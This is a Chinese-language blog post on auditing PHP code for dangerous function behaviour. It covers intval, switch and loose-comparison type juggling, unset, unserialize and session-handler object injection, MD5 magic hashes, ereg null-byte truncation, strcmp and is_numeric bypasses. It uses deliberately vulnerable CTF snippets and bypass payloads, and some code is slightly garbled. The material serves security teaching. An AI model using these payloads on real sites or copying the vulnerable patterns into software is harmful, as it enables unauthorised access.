Ethan's Blog

php代码审计之函数漏洞审计(上)

字数统计: 3.4k阅读时长: 15 min
2019/03/13 Share
前言

此篇文件属于代码审计篇的一个环节,其意图是为总结php常见函数漏洞分为上下两节,此篇与命令注入绕过篇和sql注入回顾篇同属一个系列!欢迎各位斧正!

[TOC]

正文
intval()使用不当导致安全漏洞的分析

intval函数有个特性:”直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”,在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞.此外有些题目还利用intval函数四舍五入的特性来绕过判断!

  • 漏洞代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PHP_FUNCTION(intval)
{
zval **num, **arg_base;
int base;
switch (ZEND_NUM_ARGS()) {
case 1:
if (zend_get_parameters_ex(1, &num) == FAILURE) {
WRONG_PARAM_COUNT;
}
base = 10;
break;
case 2:
if (zend_get_parameters_ex(2, &num, &arg_base) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_long_ex(arg_base);
base = Z_LVAL_PP(arg_base);
break;
default:
WRONG_PARAM_COUNT;
}
RETVAL_ZVAL(*num, 1, 0);
convert_to_long_base(return_value, base);
}
1
2
3
4
5
6
7
Zend/zend_operators.c->>convert_to_long_base()
……
case IS_STRING:
strval = Z_STRVAL_P(op);
Z_LVAL_P(op) = strtol(strval, NULL, base);
STR_FREE(strval);
break;

当intval函数接受到字符串型参数是调用convert_to_long_base()处理,接下来调用Z_LVAL_P(op) = strtol(strval, NULL, base);通过strtol函数来处理参数。

函数原型如下:

1
long int strtol(const char *nptr,char **endptr,int base);

这个函数会将参数nptr字符串根据参数base来转换成长整型数,参数base范围从2至36,或0.参数base代表采用的进制方式,如base值为10则采用10进制,若base值为16则采用16进制等。

流程为:
strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换,并将结果返回。

那么当intval用在if等的判断里面,将会导致这个判断实去意义,从而导致安全漏洞。

  • 代码测试

    1
    2
    3
    4
    5
    var_dump(intval('2'));
    var_dump(intval('3abcd'));
    var_dump(intval('abcd'));
    var_dump(intval('1.121'));
    // 可以使用字符串-0转换,来自于wechall的方法

说明intval()转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0
顺便说一下,intval可以被%00截断

1
2
3
if($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}

如果当$req[‘number’]=0%00即可绕过

  • CTF中一些绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    echo intval(42); // 42
    echo intval(4.2); // 4
    echo intval('42'); // 42
    echo intval('+42'); // 42
    echo intval('-42'); // -42
    echo intval(042); // 34
    echo intval('042'); // 42
    echo intval(1e10); // 1410065408
    echo intval('1e10'); // 1
    echo intval(0x1A); // 26
    echo intval(42000000); // 42000000
    echo intval(420000000000000000000); // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8); // 42
    echo intval('42', 8); // 34
    echo intval(array()); // 0
    echo intval(array('foo', 'bar')); // 1
    ?>
switch()

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,效果相当于intval函数。如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$i ="2a";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
?>

这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。

  • switch没有break 字符与0比较绕过

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php

    error_reporting(0);

    if (isset($_GET['which']))
    {
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
    require_once $which.'.php';
    echo $flag;
    break;
    default:
    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
    break;
    }
    }

    ?>

    题解:

    让我们包含当前目录中的flag.php,给whichflag,这里会发现在case 0case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php

    PHP中非数字开头字符串和数字 0比较==都返回True

    因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0了,然后再和另一个0比大小,结果自然为ture。注意:如果那个字符串是以数字开头的,如6ldb,它还是可以转为数字6的,然后和0比较就不等了(但是和6比较就相等)
    if($str==0) 判断 和 if( intval($str) == 0 ) 是等价的

    1
    2
    3
    4
    5
    可以验证:
    <?php
    $str="s6s";
    if($str==0){ echo "返回了true.";}
    ?>

    要字符串与数字判断不转类型方法有:

    • 方法一:
      $str="字符串";if($str===0){ echo "返回了true.";}
    • 方法二:
      $str="字符串";if($str=="0"){ echo "返回了true.";} ,

    此题构造:http://127.0.0.1/php_bug/25.php?which=aa

    资料:

in_array()
1
2
3
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换

PHP弱类型的特性
1
2
3
4
5
6
7
8
<?php
var_dump("admin"==0); // true
var_dump("1admin"==1); // true
var_dump("admin1"==1); // false
var_dump("admin1"==0); // true
var_dump("0e123456"=="0e654321"); // true
var_dump([]>任何数字); // true
?>

具体漏洞原理参考:https://www.anquanke.com/post/id/171966

“.”被替换成”_”

PHP参数中的”.”会被替换成”_”

1
var_dump("user.id"); // user_id
unset

unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}

if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}

?>
serialize 和 unserialize漏洞
  • 魔术方法

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号开头的,比如 construct, destruct,toString,sleep,wakeup等等。这些函数都会在某些特殊时候被自动调用。
例如construct()方法会在一个对象被创建时自动调用,对应的destruct则会在一个对象被销毁时调用等等。
这里有两个比较特别的Magic方法,sleep 方法会在一个对象被序列化的时候调用。 wakeup方法会在一个对象被反序列化的时候调用。

1
2
3
4
5
6
7
8
9
10
<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-- shield.php -->

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}


```
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
```

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

题解:

说明flagpctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class
index.phpShield类的实例$X = unserialize($g)$g = $_GET['class'];$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。
可以进行序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造:
`http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

session 反序列化漏洞

主要原因是

1
2
ini_set(‘session.serialize_handler’, ‘php_serialize’); 
ini_set(‘session.serialize_handler’, ‘php’);

两者处理session的方式不同

利用下面代码可以生成session值

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>123456

我们来看看生成的session值

1
2
3
spoock|s:3:"111";    //session键值|内容序列化
a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化}
在ini_set('session.serialize_handler', 'php');中把|之前认为是键值后面的视为序列化

那么就可以利用这一漏洞执行一些恶意代码

看下面的例子
1.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>12345

2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

```
function __destruct() {
eval($this->hi);//这里很危险,可以执行用户输入的参数
}
```

}
?>

在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
则被序列化为 a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
在2.PHP里面打开 就可以执行phpinfo()了

参考链接

MD5 compare漏洞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有

1
2
3
4
5
6
7
8
9
10
11
12
0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

同时MD5不能处理数组,若有以下判断则可用数组绕过

1
2
3
4
5
6
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}

//http://127.0.0.1/1.php?a[]=1&b[]=2

MD5的:

1
2
3
4
5
6
7
8
9
10
11
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
md5("0e18bb6e1************") => 0e0a710a092113dd5ec9dd47d4d7b86f
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
ereg函数漏洞:00截断

利用ereg()存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。

1
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 || asd || 12as || 123%00&&&**,则返回值为true
其余为false

参考payload

1
http://127.0.0.1/Php_Bug/16.php?nctf=1%00%23biubiubiu`
Strcmp()漏洞
1
int strcmp ( string $str1 , string $str2)

这里的函数返回值:当str1 < str2 时返回 < 0;
当str1 > str2 时返回 > 0;
当str1 = str2 时返回 0;
当我们传入字符串类型的数据的时候,则会返回 0;
所以我们可以通过传入一个 数组 或者一个 object 来绕过

1
?str1[]=

参考payload

http://127.0.0.1/Php_Bug/06.php?a[]=1`

这个函数是用于比较字符串的函数

1
2
int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==NULL==0是 `bool(true)

is_numeric函数

is_numeric()函数来判断变量是否为数字,是数字返回1,不是则返回0。比较范围不局限于十进制数字。

1
2
3
4
5
6
7
<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>

栗子

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>

题解

is_numeric($temp)?die(“no numeric”):NULL;`
不能是数字

1
2
3
if($temp>1336){
echo $flag;
}

又要大于1336

利用PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。如果输入一个1337a这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出flag

`http://127.0.0.1/php_bug/22.php?password=1337a

后记

此篇为PHP函数漏洞审计篇,总结了一些常见函数漏洞,并结合了CTF题目进行分析!PHP代码审计系列还会继续,希望大家能有所收获!不积硅步,无以至千里!

CATALOG
  1. 1. 前言
  2. 2. 正文
    1. 2.1. intval()使用不当导致安全漏洞的分析
    2. 2.2. switch()
    3. 2.3. in_array()
    4. 2.4. PHP弱类型的特性
    5. 2.5. “.”被替换成”_”
    6. 2.6. unset
    7. 2.7. serialize 和 unserialize漏洞
    8. 2.8. session 反序列化漏洞
    9. 2.9. MD5 compare漏洞
    10. 2.10. ereg函数漏洞:00截断
    11. 2.11. Strcmp()漏洞
    12. 2.12. is_numeric函数
  3. 3. 后记